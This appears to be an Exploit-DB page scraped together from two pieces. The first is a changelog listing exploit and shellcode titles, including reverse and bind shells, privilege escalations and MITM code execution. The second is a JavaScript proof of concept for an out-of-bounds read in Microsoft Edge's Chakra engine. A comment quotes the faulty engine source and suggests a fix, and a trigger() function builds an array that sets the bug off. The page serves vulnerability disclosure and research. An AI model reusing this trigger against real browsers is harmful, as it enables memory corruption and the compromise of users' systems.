
31 changes to exploits/shellcodes MiniUPnP MiniUPnPc < 2.0 - Remote Denial of Service Android - Hardware Service Manager Arbitrary Service Replacement due to getpidcon Microsoft Windows - NTFS Owner/Mandatory Label Privilege Bypass Microsoft Windows - NtImpersonateAnonymousToken AC to Non-AC Privilege Escalation Microsoft Windows - NtImpersonateAnonymousToken LPAC to Non-LPAC Privilege Escalation Microsoft Windows SMB Server (v1/v2) - Mount Point Arbitrary Device Open Privilege Escalation macOS - 'process_policy' Stack Leak Through Uninitialized Field Microsoft Edge Chakra - 'AppendLeftOverItemsFromEndSegment' Out-of-Bounds Read Jungo Windriver 12.5.1 - Privilege Escalation Jungo Windriver 12.5.1 - Local Privilege Escalation Parity Browser < 1.6.10 - Bypass Same Origin Policy Python smtplib 2.7.11 / 3.4.4 / 3.5.1 - Man In The Middle StartTLS Stripping VideoCharge Studio 2.12.3.685 - 'GetHttpResponse()' MITM Remote Code Execution VideoCharge Studio 2.12.3.685 - 'GetHttpResponse()' Man In The Middle Remote Code Execution Granding MA300 - Traffic Sniffing MitM Fingerprint PIN Disclosure Granding MA300 - Traffic Sniffing Man In The Middle Fingerprint PIN Disclosure LabF nfsAxe 3.7 FTP Client - Stack Buffer Overflow (Metasploit) phpCollab 2.5.1 - Unauthenticated File Upload (Metasploit) eVestigator Forensic PenTester - MITM Remote Code Execution eVestigator Forensic PenTester - Man In The Middle Remote Code Execution BestSafe Browser - MITM Remote Code Execution BestSafe Browser - Man In The Middle Remote Code Execution SKILLS.com.au Industry App - MITM Remote Code Execution Virtual Postage (VPA) - MITM Remote Code Execution SKILLS.com.au Industry App - Man In The Middle Remote Code Execution Virtual Postage (VPA) - Man In The Middle Remote Code Execution Trend Micro OfficeScan 11.0/XG (12.0) - MITM Remote Code Execution Trend Micro OfficeScan 11.0/XG (12.0) - Man In The Middle Remote Code Execution SAP NetWeaver J2EE Engine 7.40 - SQL Injection D-Link Routers 110/412/615/815 < 1.03 - 'service.cgi' Arbitrary Code Execution FreeBSD/x86 - Reverse TCP Shell (192.168.1.69:6969/TCP) Shellcode (129 bytes) BSD/x86 - Reverse TCP Shell (192.168.2.33:6969/TCP) Shellcode (129 bytes) FreeBSD/x86 - Bind TCP Password Shell (4883/TCP) Shellcode (222 bytes) FreeBSD/x86 - Bind TCP Password /bin/sh Shell (4883/TCP) Shellcode (222 bytes) Cisco IOS - New TTY / Privilege Level To 15 / Reverse Virtual Terminal Shell (21/TCP) Shellcode Cisco IOS/PowerPC - New VTY + Password (1rmp455) Shellcode (116 bytes) Cisco IOS - New TTY / Privilege Level To 15 / No Password Shellcode HPUX - execve /bin/sh Shellcode (58 bytes) Cisco IOS - New TTY + Privilege Level To 15 + Reverse Virtual Terminal Shell (21/TCP) Shellcode Cisco IOS/PowerPC - New VTY + Password (1rmp455) Shellcode (116 bytes) Cisco IOS - New TTY + Privilege Level To 15 + No Password Shellcode HP-UX - execve /bin/sh Shellcode (58 bytes) OpenBSD/x86 - execve /bin/sh Shellcode (23 Bytes) OpenBSD/x86 - execve /bin/sh Shellcode (23 bytes) ARM - Bind TCP Shell (0x1337/TCP) Shellcode ARM - Bind TCP Listener (68/UDP) + Reverse TCP Shell (192.168.0.1:67/TCP) Shellcode ARM - Bind TCP Listener (0x1337/TCP) + Receive Shellcode + Payload Loader Shellcode ARM - ifconfig eth0 192.168.0.2 up Shellcode Linux/ARM - Bind TCP Shell (0x1337/TCP) Shellcode Linux/ARM - Bind TCP Listener (68/UDP) + Reverse TCP Shell (192.168.0.1:67/TCP) Shellcode Linux/ARM - Bind TCP Listener (0x1337/TCP) + Receive Shellcode + Payload Loader Shellcode Linux/ARM - ifconfig eth0 192.168.0.2 up Shellcode FreeBSD/x86 - Bind TCP Shell (31337/TCP) + Fork Shellcode (111 bytes) FreeBSD/x86 - Bind TCP /bin/sh Shell (31337/TCP) + Fork Shellcode (111 bytes) Windows x86 - Reverse TCP Shell (192.168.232.129:4444/TCP) + Persistent Access Shellcode (494 Bytes) Windows x86 - Reverse TCP Shell (192.168.232.129:4444/TCP) + Persistent Access Shellcode (494 bytes) Windows 7 x86 - Bind TCP Shell (4444/TCP) Shellcode (357 Bytes) Windows 7 x86 - Bind TCP Shell (4444/TCP) Shellcode (357 bytes) Windows x86 - Reverse TCP Staged Alphanumeric Shell (127.0.0.1:4444/TCP) Shellcode (332 Bytes) Windows x86 - Reverse TCP Staged Alphanumeric Shell (127.0.0.1:4444/TCP) Shellcode (332 bytes) Linux/x86 - exceve /bin/sh Encoded Shellcode (44 Bytes) Linux/ARM (Raspberry Pi) - Bind TCP /bin/sh Shell (0.0.0.0:4444/TCP) Null-Free Shellcode (112 bytes) FreeBSD/x86-64 - execve /bin/sh Shellcode (28 bytes) FreeBSD/x86-64 - Bind TCP Password (R2CBw0cr) /bin/sh Shell Shellcode (127 bytes) FreeBSD/x86 - execv(/bin/sh) Shellcode (23 bytes) FreeBSD/x86 - //sbin/pfctl -F all Shellcode (47 bytes) FreeBSD/x86 - Bind TCP /bin/sh Shell (41254/TCP) Shellcode (115 bytes) FreeBSD - reboot() Shellcode (15 Bytes) IRIX - execve(/bin/sh -c) Shellcode (72 bytes) IRIX - execve(/bin/sh) Shellcode (43 bytes) IRIX - Bind TCP /bin/sh Shell Shellcode (364 bytes) IRIX - execve(/bin/sh) Shellcode (68 bytes) IRIX - stdin-read Shellcode (40 bytes) Linux/ARM - execve(_/bin/sh__ NULL_ 0) Shellcode (34 bytes) Linux/x86 - exceve /bin/sh Encoded Shellcode (44 bytes) Linux/x86 - Read /etc/passwd Shellcode (54 Bytes) Linux/x86 - Read /etc/passwd Shellcode (54 bytes) Linux/x86-64 - execve /bin/sh Shellcode (21 Bytes) Linux/x86-64 - execve /bin/sh Shellcode (21 bytes)
44 lines
No EOL
1.1 KiB
JavaScript
44 lines
No EOL
1.1 KiB
JavaScript
/*
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Here's a snippet of AppendLeftOverItemsFromEndSegment in JavascriptArray.inl.
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growby = endSeg->length;
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current = current->GrowByMin(recycler, growby);
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CopyArray(current->elements + endIndex + 1, endSeg->length,
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((Js::SparseArraySegment<T>*)endSeg)->elements, endSeg->length);
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LinkSegments((Js::SparseArraySegment<T>*)startPrev, current);
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if (HasNoMissingValues())
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{
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if (ScanForMissingValues<T>(endIndex + 1, endIndex + growby))
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{
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SetHasNoMissingValues(false);
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}
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}
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In the "ScanForMissingValues" method, it uses "head". But it doesn't check the grown segment "current" is equal to "head" before calling the method.
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I guess it shoud be like:
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if (current == head && HasNoMissingValues())
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{
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if (ScanForMissingValues<T>(endIndex + 1, endIndex + growby))
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{
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SetHasNoMissingValues(false);
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}
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}
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*/
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function trigger() {
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let arr = [1.1];
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let i = 0;
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for (; i < 1000; i += 0.5) {
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arr[i + 0x7777] = 2.0;
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}
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arr[1001] = 35480.0;
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for (; i < 0x7777; i++) {
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arr[i] = 1234.3;
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}
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}
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for (let i = 0; i < 100; i++) {
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trigger();
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} |